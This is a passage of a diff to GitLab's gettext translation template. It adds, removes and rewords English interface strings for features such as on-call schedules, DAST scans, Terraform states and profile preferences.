+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr ""
@@ -18487,9 +18908,15 @@ msgstr ""
msgid "NotificationEvent|Fixed pipeline"
msgstr ""
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr ""
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr ""
@@ -18505,6 +18932,9 @@ msgstr ""
msgid "NotificationEvent|New release"
msgstr ""
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr ""
@@ -18514,6 +18944,9 @@ msgstr ""
msgid "NotificationEvent|Reopen issue"
msgstr ""
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr ""
@@ -18640,6 +19073,33 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18655,9 +19115,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -18682,9 +19139,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -18697,6 +19151,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -18706,7 +19166,7 @@ msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr ""
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
@@ -18729,9 +19189,6 @@ msgstr ""
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr ""
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr ""
@@ -18813,6 +19270,9 @@ msgstr ""
msgid "Open raw"
msgstr ""
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr ""
@@ -18879,9 +19339,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr ""
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr ""
-
msgid "Options"
msgstr ""
@@ -18927,6 +19384,9 @@ msgstr ""
msgid "Outdent"
msgstr ""
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr ""
@@ -19083,6 +19543,9 @@ msgstr ""
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -19197,6 +19660,9 @@ msgstr ""
msgid "PackageType|Conan"
msgstr ""
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr ""
@@ -19221,9 +19687,6 @@ msgstr ""
msgid "Page settings"
msgstr ""
-msgid "Page was successfully deleted"
-msgstr ""
-
msgid "PagerDutySettings|Active"
msgstr ""
@@ -19488,6 +19951,9 @@ msgstr ""
msgid "Pipeline minutes quota"
msgstr ""
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr ""
@@ -19596,9 +20062,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr ""
-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr ""
@@ -19644,6 +20107,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -19656,6 +20122,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr ""
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -19665,6 +20134,12 @@ msgstr ""
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr ""
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr ""
@@ -19890,6 +20365,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -19899,9 +20377,6 @@ msgstr ""
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr ""
-
msgid "Please create a password for your new account."
msgstr ""
@@ -20064,18 +20539,12 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
-msgstr ""
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
msgstr ""
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr ""
-
msgid "Preferences|For example: 30 mins ago."
msgstr ""
@@ -20085,9 +20554,6 @@ msgstr ""
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
-msgid "Preferences|Integrations"
-msgstr ""
-
msgid "Preferences|Layout width"
msgstr ""
@@ -20109,9 +20575,6 @@ msgstr ""
msgid "Preferences|Show whitespace changes in diffs"
msgstr ""
-msgid "Preferences|Sourcegraph"
-msgstr ""
-
msgid "Preferences|Syntax highlighting theme"
msgstr ""
@@ -20166,6 +20629,9 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr ""
@@ -20295,6 +20761,24 @@ msgstr ""
msgid "Profile Settings"
msgstr ""
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr ""
@@ -20304,6 +20788,9 @@ msgstr ""
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr ""
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20334,6 +20821,9 @@ msgstr ""
msgid "Profiles|Bio"
msgstr ""
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr ""
@@ -20691,9 +21181,6 @@ msgstr ""
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr ""
-msgid "Project clone URL"
-msgstr ""
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -20946,7 +21433,10 @@ msgstr ""
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
msgstr ""
msgid "ProjectSettings|Encourage"
@@ -20988,6 +21478,9 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
msgid "ProjectSettings|Internal"
msgstr ""
@@ -21048,9 +21541,6 @@ msgstr ""
msgid "ProjectSettings|Pipelines"
msgstr ""
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
@@ -21072,6 +21562,12 @@ msgstr ""
msgid "ProjectSettings|Require"
msgstr ""
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr ""
@@ -21141,6 +21637,9 @@ msgstr ""
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr ""
@@ -21522,6 +22021,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr ""
@@ -21837,6 +22339,9 @@ msgstr ""
msgid "Push project from command line"
msgstr ""
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr ""
@@ -21990,6 +22495,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redis"
+msgstr ""
+
msgid "Reduce project visibility"
msgstr ""
@@ -22073,9 +22581,6 @@ msgstr ""
msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr ""
-
msgid "Reindexing status"
msgstr ""
@@ -22150,6 +22655,9 @@ msgstr ""
msgid "ReleaseAssetLinkType|Runbooks"
msgstr ""
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr ""
@@ -22177,9 +22685,6 @@ msgstr ""
msgid "Remediations"
msgstr ""
-msgid "Remember me"
-msgstr ""
-
msgid "Remind later"
msgstr ""
@@ -22384,9 +22889,6 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -22402,15 +22904,12 @@ msgstr ""
msgid "Reopen"
msgstr ""
-msgid "Reopen %{display_issuable_type}"
+msgid "Reopen %{issueType}"
msgstr ""
msgid "Reopen epic"
msgstr ""
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr ""
@@ -22489,6 +22988,14 @@ msgstr ""
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr ""
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] ""
@@ -22521,6 +23028,11 @@ msgstr ""
msgid "Reports|Execution time"
msgstr ""
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Failure"
msgstr ""
@@ -22572,6 +23084,9 @@ msgstr ""
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -22602,12 +23117,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr ""
@@ -22635,6 +23156,9 @@ msgstr ""
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr ""
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr ""
@@ -22668,10 +23192,10 @@ msgstr ""
msgid "Repository storage"
msgstr ""
-msgid "Repository sync capacity"
+msgid "Repository synchronization concurrency limit"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -22789,12 +23313,18 @@ msgstr ""
msgid "Resend it"
msgstr ""
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr ""
@@ -22921,6 +23451,9 @@ msgstr ""
msgid "Retry"
msgstr ""
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr ""
@@ -22959,6 +23492,9 @@ msgstr ""
msgid "Review requested from %{name}"
msgstr ""
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr ""
@@ -22979,6 +23515,9 @@ msgstr[1] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr ""
@@ -23048,6 +23587,9 @@ msgstr ""
msgid "Runner cannot be assigned to other projects"
msgstr ""
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr ""
@@ -23111,12 +23653,6 @@ msgstr ""
msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr ""
@@ -23144,9 +23680,6 @@ msgstr ""
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr ""
@@ -23249,12 +23782,6 @@ msgstr ""
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr ""
-
msgid "Save application"
msgstr ""
@@ -23273,7 +23800,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23330,15 +23857,9 @@ msgstr ""
msgid "Scopes: %{scope_list}"
msgstr ""
-msgid "Score"
-msgstr ""
-
msgid "Scroll down"
msgstr ""
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr ""
@@ -23441,6 +23962,9 @@ msgstr ""
msgid "Search projects..."
msgstr ""
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr ""
@@ -23480,9 +24004,6 @@ msgstr ""
msgid "SearchAutocomplete|in project %{projectName}"
msgstr ""
-msgid "SearchCodeResults|in"
-msgstr ""
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr ""
@@ -23562,6 +24083,9 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -23748,6 +24272,9 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -23912,6 +24439,12 @@ msgstr ""
msgid "See the affected projects in the GitLab admin panel"
msgstr ""
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr ""
@@ -24029,9 +24562,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select projects you want to import."
-msgstr ""
-
msgid "Select required regulatory standard"
msgstr ""
@@ -24374,12 +24904,6 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr ""
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr ""
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -24422,21 +24946,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr ""
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr ""
msgid "Set weight to %{weight}."
msgstr ""
-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgid "Set what should be replicated by this secondary node."
msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr ""
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr ""
@@ -24455,6 +24988,9 @@ msgstr ""
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr ""
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr ""
@@ -24551,9 +25087,6 @@ msgstr ""
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr ""
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr ""
@@ -24608,13 +25141,16 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me everything"
+msgid "Show me advanced features"
msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
msgstr ""
msgid "Show only direct members"
@@ -24643,6 +25179,9 @@ msgid_plural "Showing %d events"
msgstr[0] ""
msgstr[1] ""
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr ""
@@ -24738,10 +25277,13 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
msgstr ""
msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
@@ -24792,6 +25334,9 @@ msgstr ""
msgid "Skipped"
msgstr ""
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr ""
@@ -24903,9 +25448,6 @@ msgstr ""
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr ""
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
@@ -24951,7 +25493,7 @@ msgstr ""
msgid "Something went wrong while archiving a requirement."
msgstr ""
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
+msgid "Something went wrong while closing the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while creating a requirement."
@@ -25032,10 +25574,13 @@ msgstr ""
msgid "Something went wrong while performing the action."
msgstr ""
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
msgid "Something went wrong while reopening a requirement."
msgstr ""
-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
+msgid "Something went wrong while reopening the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
@@ -25317,10 +25862,10 @@ msgstr ""
msgid "SourcegraphPreferences|This feature is experimental."
msgstr ""
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
msgstr ""
-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
msgstr ""
msgid "Spam Logs"
@@ -25344,6 +25889,9 @@ msgstr ""
msgid "Specify the following URL during the Runner setup:"
msgstr ""
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -25461,9 +26009,6 @@ msgstr ""
msgid "Start thread & reopen %{noteable_name}"
msgstr ""
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr ""
-
msgid "Start your Free Gold Trial"
msgstr ""
@@ -25623,6 +26168,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr ""
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr ""
@@ -25791,6 +26348,9 @@ msgstr ""
msgid "SubscriptionTable|Next invoice"
msgstr ""
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr ""
@@ -25800,6 +26360,9 @@ msgstr ""
msgid "SubscriptionTable|Seats owed"
msgstr ""
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr ""
@@ -25848,6 +26411,9 @@ msgstr ""
msgid "Succeeded"
msgstr ""
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr ""
@@ -26022,6 +26588,9 @@ msgstr ""
msgid "Synchronization disabled"
msgstr ""
+msgid "Synchronization settings"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -26190,9 +26759,6 @@ msgstr ""
msgid "Telephone number"
msgstr ""
-msgid "Telephone number (Optional)"
-msgstr ""
-
msgid "Template"
msgstr ""
@@ -26232,6 +26798,9 @@ msgstr ""
msgid "Terms of Service and Privacy Policy"
msgstr ""
+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
msgstr[0] ""
@@ -26242,24 +26811,48 @@ msgid_plural "Terraform|%{number} Terraform reports were generated in your pipel
msgstr[0] ""
msgstr[1] ""
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr ""
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr ""
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr ""
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr ""
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr ""
@@ -26280,6 +26873,12 @@ msgstr[1] ""
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26307,6 +26906,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
@@ -26337,6 +26939,9 @@ msgstr ""
msgid "TestHooks|Ensure the project has notes."
msgstr ""
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr ""
@@ -26432,9 +27037,6 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -26444,10 +27046,10 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
-msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
msgstr ""
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
+msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
@@ -26516,9 +27118,6 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
-msgid "The entered user map is not a valid JSON user map."
-msgstr ""
-
msgid "The errors we encountered were:"
msgstr ""
@@ -26560,6 +27159,9 @@ msgstr ""
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -26608,6 +27210,12 @@ msgstr ""
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr ""
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -26653,6 +27261,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -26764,6 +27375,9 @@ msgstr ""
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr ""
@@ -26773,7 +27387,7 @@ msgstr ""
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr ""
-msgid "The uploaded file is not a valid Google Takeout archive."
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
